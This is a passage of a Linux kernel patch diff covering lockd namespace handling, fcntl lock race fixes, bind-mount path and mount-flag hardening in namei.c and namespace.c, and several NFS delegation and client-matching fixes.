struct list_head *nsm_handles, + const struct nsm_private *priv) { struct nsm_handle *nsm; - list_for_each_entry(nsm, &nsm_handles, sm_link) + list_for_each_entry(nsm, nsm_handles, sm_link) if (memcmp(nsm->sm_priv.data, priv->data, sizeof(priv->data)) == 0) return nsm; @@ -344,6 +351,7 @@ static struct nsm_handle *nsm_create_handle(const struct sockaddr *sap, /** * nsm_get_handle - Find or create a cached nsm_handle + * @net: network namespace * @sap: pointer to socket address of handle to find * @salen: length of socket address * @hostname: pointer to C string containing hostname to find @@ -356,11 +364,13 @@ static struct nsm_handle *nsm_create_handle(const struct sockaddr *sap, * @hostname cannot be found in the handle cache. Returns NULL if * an error occurs. */ -struct nsm_handle *nsm_get_handle(const struct sockaddr *sap, +struct nsm_handle *nsm_get_handle(const struct net *net, + const struct sockaddr *sap, const size_t salen, const char *hostname, const size_t hostname_len) { struct nsm_handle *cached, *new = NULL; + struct lockd_net *ln = net_generic(net, lockd_net_id); if (hostname && memchr(hostname, '/', hostname_len) != NULL) { if (printk_ratelimit()) { @@ -375,9 +385,10 @@ struct nsm_handle *nsm_get_handle(const struct sockaddr *sap, spin_lock(&nsm_lock); if (nsm_use_hostnames && hostname != NULL) - cached = nsm_lookup_hostname(hostname, hostname_len); + cached = nsm_lookup_hostname(&ln->nsm_handles, + hostname, hostname_len); else - cached = nsm_lookup_addr(sap); + cached = nsm_lookup_addr(&ln->nsm_handles, sap); if (cached != NULL) { atomic_inc(&cached->sm_count); @@ -391,7 +402,7 @@ struct nsm_handle *nsm_get_handle(const struct sockaddr *sap, } if (new != NULL) { - list_add(&new->sm_link, &nsm_handles); + list_add(&new->sm_link, &ln->nsm_handles); spin_unlock(&nsm_lock); dprintk("lockd: created nsm_handle for %s (%s)\n", new->sm_name, new->sm_addrbuf); @@ -408,19 +419,22 @@ struct nsm_handle *nsm_get_handle(const struct sockaddr *sap, /** * nsm_reboot_lookup - match NLMPROC_SM_NOTIFY arguments to an nsm_handle + * @net: network namespace * @info: pointer to NLMPROC_SM_NOTIFY arguments * * Returns a matching nsm_handle if found in the nsm cache. The returned * nsm_handle's reference count is bumped. Otherwise returns NULL if some * error occurred. */ -struct nsm_handle *nsm_reboot_lookup(const struct nlm_reboot *info) +struct nsm_handle *nsm_reboot_lookup(const struct net *net, + const struct nlm_reboot *info) { struct nsm_handle *cached; + struct lockd_net *ln = net_generic(net, lockd_net_id); spin_lock(&nsm_lock); - cached = nsm_lookup_priv(&info->priv); + cached = nsm_lookup_priv(&ln->nsm_handles, &info->priv); if (unlikely(cached == NULL)) { spin_unlock(&nsm_lock); dprintk("lockd: never saw rebooted peer '%.*s' before\n", diff --git a/fs/lockd/netns.h b/fs/lockd/netns.h index 5010b55628b47..414da99744e94 100644 --- a/fs/lockd/netns.h +++ b/fs/lockd/netns.h @@ -16,6 +16,7 @@ struct lockd_net { spinlock_t nsm_clnt_lock; unsigned int nsm_users; struct rpc_clnt *nsm_clnt; + struct list_head nsm_handles; }; extern int lockd_net_id; diff --git a/fs/lockd/svc.c b/fs/lockd/svc.c index d56a9904e52ab..ce05c60ff06d1 100644 --- a/fs/lockd/svc.c +++ b/fs/lockd/svc.c @@ -137,10 +137,6 @@ lockd(void *vrqstp) dprintk("NFS locking service started (ver " LOCKD_VERSION ").\n"); - if (!nlm_timeout) - nlm_timeout = LOCKD_DFLT_TIMEO; - nlmsvc_timeout = nlm_timeout * HZ; - /* * The main request loop. We don't terminate until the last * NFS mount or NFS daemon has gone away. @@ -253,13 +249,11 @@ static int lockd_up_net(struct svc_serv *serv, struct net *net) error = make_socks(serv, net); if (error < 0) - goto err_socks; + goto err_bind; set_grace_period(net); dprintk("lockd_up_net: per-net data created; net=%p\n", net); return 0; -err_socks: - svc_rpcb_cleanup(serv, net); err_bind: ln->nlmsvc_users--; return error; @@ -348,6 +342,10 @@ static struct svc_serv *lockd_create_svc(void) printk(KERN_WARNING "lockd_up: no pid, %d users??\n", nlmsvc_users); + if (!nlm_timeout) + nlm_timeout = LOCKD_DFLT_TIMEO; + nlmsvc_timeout = nlm_timeout * HZ; + serv = svc_create(&nlmsvc_program, LOCKD_BUFSIZE, NULL); if (!serv) { printk(KERN_WARNING "lockd_up: create service failed\n"); @@ -585,6 +583,7 @@ static int lockd_init_net(struct net *net) INIT_DELAYED_WORK(&ln->grace_period_end, grace_ender); INIT_LIST_HEAD(&ln->grace_list); spin_lock_init(&ln->nsm_clnt_lock); + INIT_LIST_HEAD(&ln->nsm_handles); return 0; } diff --git a/fs/lockd/svc4proc.c b/fs/lockd/svc4proc.c index b147d1ae71fd9..09c576f26c7b7 100644 --- a/fs/lockd/svc4proc.c +++ b/fs/lockd/svc4proc.c @@ -421,7 +421,7 @@ nlm4svc_proc_sm_notify(struct svc_rqst *rqstp, struct nlm_reboot *argp, return rpc_system_err; } - nlm_host_rebooted(argp); + nlm_host_rebooted(SVC_NET(rqstp), argp); return rpc_success; } diff --git a/fs/lockd/svcproc.c b/fs/lockd/svcproc.c index 21171f0c64775..fb26b9f522e74 100644 --- a/fs/lockd/svcproc.c +++ b/fs/lockd/svcproc.c @@ -464,7 +464,7 @@ nlmsvc_proc_sm_notify(struct svc_rqst *rqstp, struct nlm_reboot *argp, return rpc_system_err; } - nlm_host_rebooted(argp); + nlm_host_rebooted(SVC_NET(rqstp), argp); return rpc_success; } diff --git a/fs/locks.c b/fs/locks.c index 0274c953b07db..f7b1de7e67358 100644 --- a/fs/locks.c +++ b/fs/locks.c @@ -1852,7 +1852,6 @@ int fcntl_setlk(unsigned int fd, struct file *filp, unsigned int cmd, goto out; } -again: error = flock_to_posix_lock(filp, file_lock, &flock); if (error) goto out; @@ -1883,19 +1882,22 @@ int fcntl_setlk(unsigned int fd, struct file *filp, unsigned int cmd, * Attempt to detect a close/fcntl race and recover by * releasing the lock that was just acquired. */ - /* - * we need that spin_lock here - it prevents reordering between - * update of inode->i_flock and check for it done in close(). - * rcu_read_lock() wouldn't do. - */ - spin_lock(¤t->files->file_lock); - f = fcheck(fd); - spin_unlock(¤t->files->file_lock); - if (!error && f != filp && flock.l_type != F_UNLCK) { - flock.l_type = F_UNLCK; - goto again; + if (!error && file_lock->fl_type != F_UNLCK) { + /* + * We need that spin_lock here - it prevents reordering between + * update of inode->i_flock and check for it done in + * close(). rcu_read_lock() wouldn't do. + */ + spin_lock(¤t->files->file_lock); + f = fcheck(fd); + spin_unlock(¤t->files->file_lock); + if (f != filp) { + file_lock->fl_type = F_UNLCK; + error = do_lock_file_wait(filp, cmd, file_lock); + WARN_ON_ONCE(error); + error = -EBADF; + } } - out: locks_free_lock(file_lock); return error; @@ -1970,7 +1972,6 @@ int fcntl_setlk64(unsigned int fd, struct file *filp, unsigned int cmd, goto out; } -again: error = flock64_to_posix_lock(filp, file_lock, &flock); if (error) goto out; @@ -2001,14 +2002,22 @@ int fcntl_setlk64(unsigned int fd, struct file *filp, unsigned int cmd, * Attempt to detect a close/fcntl race and recover by * releasing the lock that was just acquired. */ - spin_lock(¤t->files->file_lock); - f = fcheck(fd); - spin_unlock(¤t->files->file_lock); - if (!error && f != filp && flock.l_type != F_UNLCK) { - flock.l_type = F_UNLCK; - goto again; + if (!error && file_lock->fl_type != F_UNLCK) { + /* + * We need that spin_lock here - it prevents reordering between + * update of inode->i_flock and check for it done in + * close(). rcu_read_lock() wouldn't do. + */ + spin_lock(¤t->files->file_lock); + f = fcheck(fd); + spin_unlock(¤t->files->file_lock); + if (f != filp) { + file_lock->fl_type = F_UNLCK; + error = do_lock_file_wait(filp, cmd, file_lock); + WARN_ON_ONCE(error); + error = -EBADF; + } } - out: locks_free_lock(file_lock); return error; diff --git a/fs/namei.c b/fs/namei.c index 022771a0e3b7d..f7065d973ebed 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -34,6 +34,7 @@ #include #include #include +#include #include #include "internal.h" @@ -472,6 +473,24 @@ void path_put(const struct path *path) } EXPORT_SYMBOL(path_put); +/** + * path_connected - Verify that a path->dentry is below path->mnt.mnt_root + * @path: nameidate to verify + * + * Rename can sometimes move a file or directory outside of a bind + * mount, path_connected allows those cases to be detected. + */ +static bool path_connected(const struct path *path) +{ + struct vfsmount *mnt = path->mnt; + + /* Only bind mounts can have disconnected paths */ + if (mnt->mnt_root == mnt->mnt_sb->s_root) + return true; + + return is_subdir(path->dentry, mnt->mnt_root); +} + /* * Path walking has 2 modes, rcu-walk and ref-walk (see * Documentation/filesystems/path-lookup.txt). In situations when we can't @@ -1147,6 +1166,8 @@ static int follow_dotdot_rcu(struct nameidata *nd) goto failed; nd->path.dentry = parent; nd->seq = seq; + if (unlikely(!path_connected(&nd->path))) + goto failed; break; } if (!follow_up_rcu(&nd->path)) @@ -1230,7 +1251,7 @@ static void follow_mount(struct path *path) } } -static void follow_dotdot(struct nameidata *nd) +static int follow_dotdot(struct nameidata *nd) { set_root(nd); @@ -1245,6 +1266,10 @@ static void follow_dotdot(struct nameidata *nd) /* rare case of legitimate dget_parent()... */ nd->path.dentry = dget_parent(nd->path.dentry); dput(old); + if (unlikely(!path_connected(&nd->path))) { + path_put(&nd->path); + return -ENOENT; + } break; } if (!follow_up(&nd->path)) @@ -1252,6 +1277,7 @@ static void follow_dotdot(struct nameidata *nd) } follow_mount(&nd->path); nd->inode = nd->path.dentry->d_inode; + return 0; } /* @@ -1475,7 +1501,7 @@ static inline int handle_dots(struct nameidata *nd, int type) if (follow_dotdot_rcu(nd)) return -ECHILD; } else - follow_dotdot(nd); + return follow_dotdot(nd); } return 0; } @@ -1541,7 +1567,8 @@ static inline int walk_component(struct nameidata *nd, struct path *path, if (should_follow_link(inode, follow)) { if (nd->flags & LOOKUP_RCU) { - if (unlikely(unlazy_walk(nd, path->dentry))) { + if (unlikely(nd->path.mnt != path->mnt || + unlazy_walk(nd, path->dentry))) { err = -ECHILD; goto out_err; } @@ -1647,8 +1674,7 @@ static inline int can_lookup(struct inode *inode) static inline unsigned int fold_hash(unsigned long hash) { - hash += hash >> (8*sizeof(int)); - return hash; + return hash_64(hash, 32); } #else /* 32-bit case */ @@ -2829,7 +2855,8 @@ static int do_last(struct nameidata *nd, struct path *path, if (should_follow_link(inode, !symlink_ok)) { if (nd->flags & LOOKUP_RCU) { - if (unlikely(unlazy_walk(nd, path->dentry))) { + if (unlikely(nd->path.mnt != path->mnt || + unlazy_walk(nd, path->dentry))) { error = -ECHILD; goto out; } @@ -2895,6 +2922,10 @@ static int do_last(struct nameidata *nd, struct path *path, goto exit_fput; } out: + if (unlikely(error > 0)) { + WARN_ON(1); + error = -EINVAL; + } if (got_write) mnt_drop_write(nd->path.mnt); path_put(&save_parent); diff --git a/fs/namespace.c b/fs/namespace.c index 940ae0475c3e0..5abaf9896612b 100644 --- a/fs/namespace.c +++ b/fs/namespace.c @@ -828,8 +828,21 @@ static struct mount *clone_mnt(struct mount *old, struct dentry *root, mnt->mnt.mnt_flags = old->mnt.mnt_flags & ~MNT_WRITE_HOLD; /* Don't allow unprivileged users to change mount flags */ - if ((flag & CL_UNPRIVILEGED) && (mnt->mnt.mnt_flags & MNT_READONLY)) - mnt->mnt.mnt_flags |= MNT_LOCK_READONLY; + if (flag & CL_UNPRIVILEGED) { + mnt->mnt.mnt_flags |= MNT_LOCK_ATIME; + + if (mnt->mnt.mnt_flags & MNT_READONLY) + mnt->mnt.mnt_flags |= MNT_LOCK_READONLY; + + if (mnt->mnt.mnt_flags & MNT_NODEV) + mnt->mnt.mnt_flags |= MNT_LOCK_NODEV; + + if (mnt->mnt.mnt_flags & MNT_NOSUID) + mnt->mnt.mnt_flags |= MNT_LOCK_NOSUID; + + if (mnt->mnt.mnt_flags & MNT_NOEXEC) + mnt->mnt.mnt_flags |= MNT_LOCK_NOEXEC; + } atomic_inc(&sb->s_active); mnt->mnt.mnt_sb = sb; @@ -1261,6 +1274,8 @@ static int do_umount(struct mount *mnt, int flags) * Special case for "unmounting" root ... * we just try to remount it readonly. */ + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; down_write(&sb->s_umount); if (!(sb->s_flags & MS_RDONLY)) retval = do_remount_sb(sb, MS_RDONLY, NULL, 0); @@ -1327,6 +1342,9 @@ SYSCALL_DEFINE2(umount, char __user *, name, int, flags) goto dput_and_out; if (!check_mnt(mnt)) goto dput_and_out; + retval = -EPERM; + if (flags & MNT_FORCE && !capable(CAP_SYS_ADMIN)) + goto dput_and_out; retval = do_umount(mnt, flags); dput_and_out: @@ -1767,9 +1785,6 @@ static int change_mount_flags(struct vfsmount *mnt, int ms_flags) if (readonly_request == __mnt_is_readonly(mnt)) return 0; - if (mnt->mnt_flags & MNT_LOCK_READONLY) - return -EPERM; - if (readonly_request) error = mnt_make_readonly(real_mount(mnt)); else @@ -1795,6 +1810,39 @@ static int do_remount(struct path *path, int flags, int mnt_flags, if (path->dentry != path->mnt->mnt_root) return -EINVAL; + /* Don't allow changing of locked mnt flags. + * + * No locks need to be held here while testing the various + * MNT_LOCK flags because those flags can never be cleared + * once they are set. + */ + if ((mnt->mnt.mnt_flags & MNT_LOCK_READONLY) && + !(mnt_flags & MNT_READONLY)) { + return -EPERM; + } + if ((mnt->mnt.mnt_flags & MNT_LOCK_NODEV) && + !(mnt_flags & MNT_NODEV)) { + /* Was the nodev implicitly added in mount? */ + if ((mnt->mnt_ns->user_ns != &init_user_ns) && + !(sb->s_type->fs_flags & FS_USERNS_DEV_MOUNT)) { + mnt_flags |= MNT_NODEV; + } else { + return -EPERM; + } + } + if ((mnt->mnt.mnt_flags & MNT_LOCK_NOSUID) && + !(mnt_flags & MNT_NOSUID)) { + return -EPERM; + } + if ((mnt->mnt.mnt_flags & MNT_LOCK_NOEXEC) && + !(mnt_flags & MNT_NOEXEC)) { + return -EPERM; + } + if ((mnt->mnt.mnt_flags & MNT_LOCK_ATIME) && + ((mnt->mnt.mnt_flags & MNT_ATIME_MASK) != (mnt_flags & MNT_ATIME_MASK))) { + return -EPERM; + } + err = security_sb_remount(sb, data); if (err) return err; @@ -1994,7 +2042,7 @@ static int do_new_mount(struct path *path, const char *fstype, int flags, */ if (!(type->fs_flags & FS_USERNS_DEV_MOUNT)) { flags |= MS_NODEV; - mnt_flags |= MNT_NODEV; + mnt_flags |= MNT_NODEV | MNT_LOCK_NODEV; } } @@ -2312,6 +2360,14 @@ long do_mount(const char *dev_name, const char *dir_name, if (flags & MS_RDONLY) mnt_flags |= MNT_READONLY; + /* The default atime for remount is preservation */ + if ((flags & MS_REMOUNT) && + ((flags & (MS_NOATIME | MS_NODIRATIME | MS_RELATIME | + MS_STRICTATIME)) == 0)) { + mnt_flags &= ~MNT_ATIME_MASK; + mnt_flags |= path.mnt->mnt_flags & MNT_ATIME_MASK; + } + flags &= ~(MS_NOSUID | MS_NOEXEC | MS_NODEV | MS_ACTIVE | MS_BORN | MS_NOATIME | MS_NODIRATIME | MS_RELATIME| MS_KERNMOUNT | MS_STRICTATIME); diff --git a/fs/ncpfs/dir.c b/fs/ncpfs/dir.c index 6792ce11f2bfc..c578ba9949e67 100644 --- a/fs/ncpfs/dir.c +++ b/fs/ncpfs/dir.c @@ -391,7 +391,7 @@ ncp_dget_fpos(struct dentry *dentry, struct dentry *parent, unsigned long fpos) spin_lock(&parent->d_lock); next = parent->d_subdirs.next; while (next != &parent->d_subdirs) { - dent = list_entry(next, struct dentry, d_u.d_child); + dent = list_entry(next, struct dentry, d_child); if ((unsigned long)dent->d_fsdata == fpos) { if (dent->d_inode) dget(dent); diff --git a/fs/ncpfs/ioctl.c b/fs/ncpfs/ioctl.c index 60426ccb3b656..2f970de02b162 100644 --- a/fs/ncpfs/ioctl.c +++ b/fs/ncpfs/ioctl.c @@ -448,7 +448,6 @@ static long __ncp_ioctl(struct inode *inode, unsigned int cmd, unsigned long arg result = -EIO; } } - result = 0; } mutex_unlock(&server->root_setup_lock); diff --git a/fs/ncpfs/ncplib_kernel.h b/fs/ncpfs/ncplib_kernel.h index 32c06587351a1..6d5e7c56c79d4 100644 --- a/fs/ncpfs/ncplib_kernel.h +++ b/fs/ncpfs/ncplib_kernel.h @@ -194,7 +194,7 @@ ncp_renew_dentries(struct dentry *parent) spin_lock(&parent->d_lock); next = parent->d_subdirs.next; while (next != &parent->d_subdirs) { - dentry = list_entry(next, struct dentry, d_u.d_child); + dentry = list_entry(next, struct dentry, d_child); if (dentry->d_fsdata == NULL) ncp_age_dentry(server, dentry); @@ -216,7 +216,7 @@ ncp_invalidate_dircache_entries(struct dentry *parent) spin_lock(&parent->d_lock); next = parent->d_subdirs.next; while (next != &parent->d_subdirs) { - dentry = list_entry(next, struct dentry, d_u.d_child); + dentry = list_entry(next, struct dentry, d_child); dentry->d_fsdata = NULL; ncp_age_dentry(server, dentry); next = next->next; diff --git a/fs/nfs/callback.c b/fs/nfs/callback.c index cff089a412c7f..e05c96ebb27da 100644 --- a/fs/nfs/callback.c +++ b/fs/nfs/callback.c @@ -128,22 +128,24 @@ nfs41_callback_svc(void *vrqstp) if (try_to_freeze()) continue; - prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_INTERRUPTIBLE); + prepare_to_wait(&serv->sv_cb_waitq, &wq, TASK_UNINTERRUPTIBLE); spin_lock_bh(&serv->sv_cb_lock); if (!list_empty(&serv->sv_cb_list)) { req = list_first_entry(&serv->sv_cb_list, struct rpc_rqst, rq_bc_list); list_del(&req->rq_bc_list); spin_unlock_bh(&serv->sv_cb_lock); + finish_wait(&serv->sv_cb_waitq, &wq); dprintk("Invoking bc_svc_process()\n"); error = bc_svc_process(serv, req, rqstp); dprintk("bc_svc_process() returned w/ error code= %d\n", error); } else { spin_unlock_bh(&serv->sv_cb_lock); - schedule(); + /* schedule_timeout to game the hung task watchdog */ + schedule_timeout(60 * HZ); + finish_wait(&serv->sv_cb_waitq, &wq); } - finish_wait(&serv->sv_cb_waitq, &wq); } return 0; } diff --git a/fs/nfs/callback_xdr.c b/fs/nfs/callback_xdr.c index a35582c9d4440..e98ecf8d2588a 100644 --- a/fs/nfs/callback_xdr.c +++ b/fs/nfs/callback_xdr.c @@ -464,8 +464,10 @@ static __be32 decode_cb_sequence_args(struct svc_rqst *rqstp, for (i = 0; i < args->csa_nrclists; i++) { status = decode_rc_list(xdr, &args->csa_rclists[i]); - if (status) + if (status) { + args->csa_nrclists = i; goto out_free; + } } } status = 0; diff --git a/fs/nfs/delegation.c b/fs/nfs/delegation.c index 4b49a8c6ccade..ef0c394b7bf55 100644 --- a/fs/nfs/delegation.c +++ b/fs/nfs/delegation.c @@ -108,6 +108,8 @@ static int nfs_delegation_claim_opens(struct inode *inode, const nfs4_stateid *s continue; if (!test_bit(NFS_DELEGATED_STATE, &state->flags)) continue; + if (!nfs4_valid_open_stateid(state)) + continue; if (!nfs4_stateid_match(&state->stateid, stateid)) continue; get_nfs_open_context(ctx); @@ -175,7 +177,11 @@ static int nfs_do_return_delegation(struct inode *inode, struct nfs_delegation * { int res = 0; - res = nfs4_proc_delegreturn(inode, delegation->cred, &delegation->stateid, issync); + if (!test_bit(NFS_DELEGATION_REVOKED, &delegation->flags)) + res = nfs4_proc_delegreturn(inode, + delegation->cred, + &delegation->stateid, + issync); nfs_free_delegation(delegation); return res; } @@ -361,11 +367,13 @@ static int nfs_end_delegation_return(struct inode *inode, struct nfs_delegation { struct nfs_client *clp = NFS_SERVER(inode)->nfs_client; struct nfs_inode *nfsi = NFS_I(inode); - int err; + int err = 0; if (delegation == NULL) return 0; do { + if (test_bit(NFS_DELEGATION_REVOKED, &delegation->flags)) + break; err = nfs_delegation_claim_opens(inode, &delegation->stateid); if (!issync || err != -EAGAIN) break; @@ -586,10 +594,23 @@ static void nfs_client_mark_return_unused_delegation_types(struct nfs_client *cl rcu_read_unlock(); } +static void nfs_revoke_delegation(struct inode *inode) +{ + struct nfs_delegation *delegation; + rcu_read_lock(); + delegation = rcu_dereference(NFS_I(inode)->delegation); + if (delegation != NULL) { + set_bit(NFS_DELEGATION_REVOKED, &delegation->flags); + nfs_mark_return_delegation(NFS_SERVER(inode), delegation); + } + rcu_read_unlock(); +} + void nfs_remove_bad_delegation(struct inode *inode) { struct nfs_delegation *delegation; + nfs_revoke_delegation(inode); delegation = nfs_inode_detach_delegation(inode); if (delegation) { nfs_inode_find_state_and_recover(inode, &delegation->stateid); diff --git a/fs/nfs/delegation.h b/fs/nfs/delegation.h index 9a79c7a99d6d6..e02b090ab9da8 100644 --- a/fs/nfs/delegation.h +++ b/fs/nfs/delegation.h @@ -31,6 +31,7 @@ enum { NFS_DELEGATION_RETURN_IF_CLOSED, NFS_DELEGATION_REFERENCED, NFS_DELEGATION_RETURNING, + NFS_DELEGATION_REVOKED, }; int nfs_inode_set_delegation(struct inode *inode, struct rpc_cred *cred, struct nfs_openres *res); diff --git a/fs/nfs/direct.c b/fs/nfs/direct.c index 0bd7a55a5f073..615c5079db7c9 100644 --- a/fs/nfs/direct.c +++ b/fs/nfs/direct.c @@ -123,6 +123,12 @@ static inline int put_dreq(struct nfs_direct_req *dreq) */ ssize_t nfs_direct_IO(int rw, struct kiocb *iocb, const struct iovec *iov, loff_t pos, unsigned long nr_segs) { + struct inode *inode = iocb->ki_filp->f_mapping->host; + + /* we only support swap file calling nfs_direct_IO */ + if (!IS_SWAPFILE(inode)) + return 0; + #ifndef CONFIG_NFS_SWAP dprintk("NFS: nfs_direct_IO (%s) off/no(%Ld/%lu) EINVAL\n", iocb->ki_filp->f_path.dentry->d_name.name, @@ -180,6 +186,7 @@ static void nfs_direct_req_free(struct kref *kref) { struct nfs_direct_req *dreq = container_of(kref, struct nfs_direct_req, kref); + nfs_free_pnfs_ds_cinfo(&dreq->ds_cinfo); if (dreq->l_ctx != NULL) nfs_put_lock_context(dreq->l_ctx); if (dreq->ctx != NULL) diff --git a/fs/nfs/getroot.c b/fs/nfs/getroot.c index 44efaa8c5f78f..0fe3ced6438c7 100644 --- a/fs/nfs/getroot.c +++ b/fs/nfs/getroot.c @@ -58,7 +58,7 @@ static int nfs_superblock_set_dummy_root(struct super_block *sb, struct inode *i */ spin_lock(&sb->s_root->d_inode->i_lock); spin_lock(&sb->s_root->d_lock); - hlist_del_init(&sb->s_root->d_alias); + hlist_del_init(&sb->s_root->d_u.d_alias); spin_unlock(&sb->s_root->d_lock); spin_unlock(&sb->s_root->d_inode->i_lock); } diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 79872e22e4aee..9de39760abf44 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -519,7 +519,7 @@ int nfs_getattr(struct vfsmount *mnt, struct dentry *dentry, struct kstat *stat) { struct inode *inode = dentry->d_inode; int need_atime = NFS_I(inode)->cache_validity & NFS_INO_INVALID_ATIME; - int err; + int err = 0; /* Flush out writes to the server in order to update c/mtime. */ if (S_ISREG(inode->i_mode)) { @@ -1503,7 +1503,11 @@ static int nfs_update_inode(struct inode *inode, struct nfs_fattr *fattr) nfsi->attrtimeo_timestamp = now; } } - invalid &= ~NFS_INO_INVALID_ATTR; + + /* Don't declare attrcache up to date if there were no attrs! */ + if (fattr->valid != 0) + invalid &= ~NFS_INO_INVALID_ATTR; + /* Don't invalidate the data if we were to blame */ if (!(S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) || S_ISLNK(inode->i_mode))) diff --git a/fs/nfs/nfs3acl.c b/fs/nfs/nfs3acl.c index 4a1aafba6a200..8c34f57a9aef4 100644 --- a/fs/nfs/nfs3acl.c +++ b/fs/nfs/nfs3acl.c @@ -305,7 +305,10 @@ static int nfs3_proc_setacls(struct inode *inode, struct posix_acl *acl, .rpc_argp = &args, .rpc_resp = &fattr, }; - int status; + int status = 0; + + if (acl == NULL && (!S_ISDIR(inode->i_mode) || dfacl == NULL)) + goto out; status = -EOPNOTSUPP; if (!nfs_server_capable(inode, NFS_CAP_ACLS)) diff --git a/fs/nfs/nfs3xdr.c b/fs/nfs/nfs3xdr.c index fa6d72131c19e..4495cad189c30 100644 --- a/fs/nfs/nfs3xdr.c +++ b/fs/nfs/nfs3xdr.c @@ -1342,7 +1342,7 @@ static void nfs3_xdr_enc_setacl3args(struct rpc_rqst *req, if (args->npages != 0) xdr_write_pages(xdr, args->pages, 0, args->len); else - xdr_reserve_space(xdr, NFS_ACL_INLINE_BUFSIZE); + xdr_reserve_space(xdr, args->len); error = nfsacl_encode(xdr->buf, base, args->inode, (args->mask & NFS_ACL) ? diff --git a/fs/nfs/nfs4client.c b/fs/nfs/nfs4client.c index 02773aab43c52..498811c09da72 100644 --- a/fs/nfs/nfs4client.c +++ b/fs/nfs/nfs4client.c @@ -32,7 +32,7 @@ static int nfs_get_cb_ident_idr(struct nfs_client *clp, int minorversion) return ret; idr_preload(GFP_KERNEL); spin_lock(&nn->nfs_client_lock); - ret = idr_alloc(&nn->cb_ident_idr, clp, 0, 0, GFP_NOWAIT); + ret = idr_alloc(&nn->cb_ident_idr, clp, 1, 0, GFP_NOWAIT); if (ret >= 0) clp->cl_cb_ident = ret; spin_unlock(&nn->nfs_client_lock); @@ -311,6 +311,16 @@ int nfs40_walk_client_list(struct nfs_client *new, spin_lock(&nn->nfs_client_lock); list_for_each_entry(pos, &nn->nfs_client_list, cl_share_link) { + + if (pos->rpc_ops != new->rpc_ops) + continue; + + if (pos->cl_proto != new->cl_proto) + continue; + + if (pos->cl_minorversion != new->cl_minorversion) + continue; + /* If "pos" isn't marked ready, we can't trust the * remaining fields in "pos" */ if (pos->cl_cons_state > NFS_CS_READY) { @@ -330,15 +340,6 @@ int nfs40_walk_client_list(struct nfs_client *new, if (pos->cl_cons_state != NFS_CS_READY) continue; - if (pos->rpc_ops != new->rpc_ops) - continue; - - if (pos->cl_proto != new->cl_proto) - continue; - - if (pos->cl_minorversion != new->cl_minorversion) - continue; - if (pos->cl_clientid != new->cl_clientid) continue; @@ -393,20 +394,14 @@ static bool nfs4_match_clientids(struct nfs_client *a, struct nfs_client *b) } /* - * Returns true if the server owners match + * Returns true if the server major ids match */ static bool -nfs4_match_serverowners(struct nfs_client *a, struct nfs_client *b) +nfs4_check_clientid_trunking(struct nfs_client *a, struct nfs_client *b) { struct nfs41_server_owner *o1 = a->cl_serverowner; struct nfs41_server_owner *o2 = b->cl_serverowner; - if (o1->minor_id != o2->minor_id) { - dprintk("NFS: --> %s server owner minor IDs do not match\n", - __func__); - return false; - } - if (o1->major_id_sz != o2->major_id_sz) goto out_major_mismatch; if (memcmp(o1->major_id, o2->major_id, o1->major_id_sz) != 0) @@ -444,6 +439,16 @@ int nfs41_walk_client_list(struct nfs_client *new, spin_lock(&nn->nfs_client_lock); list_for_each_entry(pos, &nn->nfs_client_list, cl_share_link) { + + if (pos->rpc_ops != new->rpc_ops) + continue; + + if (pos->cl_proto != new->cl_proto) + continue; + + if (pos->cl_minorversion != new->cl_minorversion) + continue; + /* If "pos" isn't marked ready, we can't trust the * remaining fields in "pos", especially the client * ID and serverowner fields. Wait for CREATE_SESSION @@ -457,7 +462,7 @@ int nfs41_walk_client_list(struct nfs_client *new, prev = pos; status = nfs_wait_client_init_complete(pos); - if (status == 0) { + if (pos->cl_cons_state == NFS_CS_SESSION_INITING) { nfs4_schedule_lease_recovery(pos); status = nfs4_wait_clnt_recover(pos); } @@ -469,19 +474,15 @@ int nfs41_walk_client_list(struct nfs_client *new, if (pos->cl_cons_state != NFS_CS_READY) continue; - if (pos->rpc_ops != new->rpc_ops) - continue; - - if (pos->cl_proto != new->cl_proto) - continue; - - if (pos->cl_minorversion != new->cl_minorversion) - continue; - if (!nfs4_match_clientids(pos, new)) continue; - if (!nfs4_match_serverowners(pos, new)) + /* + * Note that session trunking is just a special subcase of + * client id trunking. In either case, we want to fall back + * to using the existing nfs_client. + */ + if (!nfs4_check_clientid_trunking(pos, new)) continue; atomic_inc(&pos->cl_count); diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index bfeb1d13b08fe..6b4689b70850d 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -1005,6 +1005,7 @@ static void __update_open_stateid(struct nfs4_state *state, nfs4_stateid *open_s * Protect the call to nfs4_state_set_mode_locked and * serialise the stateid update */ + spin_lock(&state->owner->so_lock); write_seqlock(&state->seqlock); if (deleg_stateid != NULL) { nfs4_stateid_copy(&state->stateid, deleg_stateid); @@ -1013,7 +1014,6 @@ static void __update_open_stateid(struct nfs4_state *state, nfs4_stateid *open_s if (open_stateid != NULL) nfs_set_open_stateid_locked(state, open_stateid, fmode); write_sequnlock(&state->seqlock); - spin_lock(&state->owner->so_lock); update_open_stateflags(state, fmode); spin_unlock(&state->owner->so_lock); } @@ -1416,7 +1416,7 @@ static int nfs4_handle_delegation_recall_error(struct nfs_server *server, struct nfs_inode_find_state_and_recover(state->inode, stateid); nfs4_schedule_stateid_recovery(server, state); - return 0; + return -EAGAIN; case -NFS4ERR_DELAY: case -NFS4ERR_GRACE: set_bit(NFS_DELEGATED_STATE, &state->flags); @@ -1845,6 +1845,28 @@ static int nfs4_open_expired(struct nfs4_state_owner *sp, struct nfs4_state *sta return ret; } +static void nfs_finish_clear_delegation_stateid(struct nfs4_state *state) +{ + nfs_remove_bad_delegation(state->inode); + write_seqlock(&state->seqlock); + nfs4_stateid_copy(&state->stateid, &state->open_stateid); + write_sequnlock(&state->seqlock); + clear_bit(NFS_DELEGATED_STATE, &state->flags); +} + +static void nfs40_clear_delegation_stateid(struct nfs4_state *state) +{ + if (rcu_access_pointer(NFS_I(state->inode)->delegation) != NULL) + nfs_finish_clear_delegation_stateid(state); +} + +static int nfs40_open_expired(struct nfs4_state_owner *sp, struct nfs4_state *state) +{ + /* NFSv4.0 doesn't allow for delegation recovery on open expire */ + nfs40_clear_delegation_stateid(state); + return nfs4_open_expired(sp, state); +} 